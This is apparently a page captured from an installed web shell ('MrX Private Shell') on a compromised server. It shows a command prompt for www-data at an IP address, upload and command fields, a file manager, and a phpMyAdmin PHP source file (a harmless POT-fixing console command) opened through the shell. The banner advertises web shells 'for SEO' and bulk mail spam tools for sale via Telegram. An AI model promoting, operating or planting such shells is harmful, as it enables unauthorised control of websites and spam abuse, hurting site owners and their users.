__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

www-data@216.73.216.10: ~ $
<?php

declare(strict_types=1);

namespace PhpMyAdmin\Command;

use Symfony\Component\Console\Command\Command;
use Symfony\Component\Console\Input\InputInterface;
use Symfony\Component\Console\Output\OutputInterface;

use function file_get_contents;
use function file_put_contents;
use function intval;
use function is_array;
use function json_decode;
use function preg_replace_callback;

use const ROOT_PATH;

final class FixPoTwigCommand extends Command
{
    /** @var string|null */
    protected static $defaultName = 'fix-po-twig';

    private const POT_FILE = ROOT_PATH . 'po/phpmyadmin.pot';
    private const REPLACE_FILE = ROOT_PATH . 'twig-templates/replace.json';

    protected function configure(): void
    {
        $this->setDescription('Fixes POT file for Twig templates');
        $this->setHelp(
            'The <info>%command.name%</info> command fixes the Twig file name and line number in the'
            . ' POT file to match the Twig template and not the compiled Twig file.'
        );
    }

    protected function execute(InputInterface $input, OutputInterface $output): int
    {
        $replaceFile = file_get_contents(self::REPLACE_FILE);
        if ($replaceFile === false) {
            return Command::FAILURE;
        }

        $replacements = json_decode($replaceFile, true);
        if (! is_array($replacements)) {
            return Command::FAILURE;
        }

        /* Read pot file */
        $pot = file_get_contents(self::POT_FILE);
        if ($pot === false) {
            return Command::FAILURE;
        }

        /* Do the replacements */
        $pot = preg_replace_callback(
            '@(twig-templates[0-9a-f/]*.php):([0-9]*)@',
            static function (array $matches) use ($replacements): string {
                $filename = $matches[1];
                $line = intval($matches[2]);
                $replace = $replacements[$filename];
                foreach ($replace[1] as $cacheLine => $result) {
                    if ($line >= $cacheLine) {
                        return $replace[0] . ':' . $result;
                    }
                }

                return $replace[0] . ':0';
            },
            $pot
        );
        if ($pot === null) {
            return Command::FAILURE;
        }

        if (file_put_contents(self::POT_FILE, $pot) === false) {
            return Command::FAILURE;
        }

        return Command::SUCCESS;
    }
}

Filemanager

Name Type Size Permission Actions
CacheWarmupCommand.php File 6.47 KB 0644
FixPoTwigCommand.php File 2.38 KB 0644
SetVersionCommand.php File 2.77 KB 0644
TwigLintCommand.php File 8.45 KB 0644
WriteGitRevisionCommand.php File 3.56 KB 0644
Filemanager